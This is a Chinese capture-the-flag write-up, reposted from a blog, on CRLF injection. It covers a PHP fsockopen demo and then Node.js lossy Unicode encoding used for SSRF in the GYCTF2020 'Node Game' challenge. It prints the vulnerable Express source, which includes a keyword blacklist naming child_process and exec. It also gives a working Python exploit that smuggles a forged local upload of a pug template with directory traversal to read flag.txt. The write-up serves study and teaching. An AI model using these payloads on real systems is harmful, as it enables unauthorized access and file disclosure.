0


一道题学习node.js中的CRLF注入

前言

这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖。在此记录一下。

CRLF注入

学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生。所谓的CRLF就是回车加换行。常用于http数据包。字段之间用一个CRLF分割,首部和主题之间由两个CRLF分割。如果说我们能够控制http数据包中莫一个首部字段,况且web应用没有对用户的输入做严格的过滤,我们就可以向数据包注入一些CRLF,同时添加修改我们想要的字段以及字段值,比如cookie等。在此就用php的fsockopen函数测试一下。

测试代码:

<?php
highlight_file(__FILE__);
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

url输入1.116.160.155:2400,同时我们在服务器监听2400端口。最后得到回显。

看这个简单的数据包,我们能够控制host头,那么我们就在host注入,添加cookie,url输入

?url=1.116.160.155:2400%0d%0aCookie:PHPSESSID=admin

得到回显,

在http规范中,CRLF是一行的结束,当检测到%0d%0a,就会 转到下一行,我们添加的cookie字段就默认添加在Host字段下面了。成功在数据包中添加了cookie字段。这样我们就成功修改数据头部。

HTTP请求路径中的unicode字符损坏

这篇文章主要说明node.js中CRLF的注入。但是上文讲解的直接添加CRLF在这里是不奏效的,node.js中的http库会检测用户如果含有回车换行会直接报错。但是,node.js对http请求写入路径时,对unicode字符的有损编码可能会引起CRLF注入。

什么意思呢?虽然我们发出的请求路径指定为字符串,但是node.js会将请求作为原始字节输出。也就意味着我们需要对请求unicode编码。而js也是默认支持unicode字符串的。node.js默认使用“latin1”编码,这是一种单字节字符集,不能表示高编码unicode字符串。比如说\u0130就会被截断为\u30。

但看字符损坏没有什么用处,如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF,那么我们就可以利用这个漏洞向数据包注入恶意的CRLF。

这个unicode字符损坏漏洞只适用于node.js v8以及更低的版本。在10版本中如果遇到非ascii码就会抛出错误。看一个题目感受一下。

[GYCTF2020]Node Game

打开题目:

这里有两个功能,一个是文件上传,只能admin才能上传文件。另一个功能是获取源代码。看一下node.js代码:

node.js源代码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');  // morgan是express默认的日志中间件
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){//检测action是否有/和\\
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){// 以同步的方法检测目录是否存在
                try {
                    fs.mkdirSync(__dirname + file_path)// 如果目录不存在则创建目录
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})
app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });
                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})
function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}
var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

路由

源代码一共有四个路由,分别说明一下:

'/'路由,我们能够包含一个pug模板文件,并且将其渲染,返回给我们客户端。

'/file_upload'路由,上传文件,但是限制上传者的ip为127.0.0.1,将文件上传到upload/目录下,但是通过这段代码:

var file_path = '/uploads/' + req.files[0].mimetype +"/";

我们可以控制mimetype的值,利用目录穿越让文件下载到我们指定的目录中去。

'/source'路由,显示源码。

'/core'路由,通过参数q向内网的8081端口传参。获取到数据并且返回给客户端。对url有黑名单的限制。

做题思路

从刚才的路由分析,我们可以看出/core是存在ssrf漏洞的。可以上传一个含有flag文件路径的pug模板文件,控制mimetype将文件下载到/template目录下。以便在/路由对我们上传的pug模板文件进行包含。目前最大的难题就是如何伪造本地上传。那么我们就通过/core路由伪造上传包来上传我们的pug文件。

题解

通过上传功能抓取到上传的post数据包。

对数据包进行删除cookie,修改host,origin,referer字段为本机地址。将Content-Type改为 ../template,以便目录穿越。利用node.js对高编码字符截断漏洞向http数据包注入CRLF,来伪造一个本地上传数据包。引用大佬脚本:

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8081/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))  # 为回车换行添加高编码unicode字符
    return ret

payload = payload_encode(payload)
print(payload)

r = requests.get('http://31c97aff-75cd-40bb-8bcb-b71fbaadc74a.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

上传pug文件后在根目录下访问?action=shell,在源代码中找到flag。

注意数据包中Content-Length字段一定要有,并且长度一定得正确。

关于pug模板的相关内容可参考一下链接:

pug模板入门_宿炎的博客-CSDN博客_pug模板

参考链接:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台


本文转载自: https://blog.csdn.net/m0_62422842/article/details/127811271
版权归原作者 XiLitter 所有, 如有侵权,请联系我们删除。

“一道题学习node.js中的CRLF注入”的评论:

还没有评论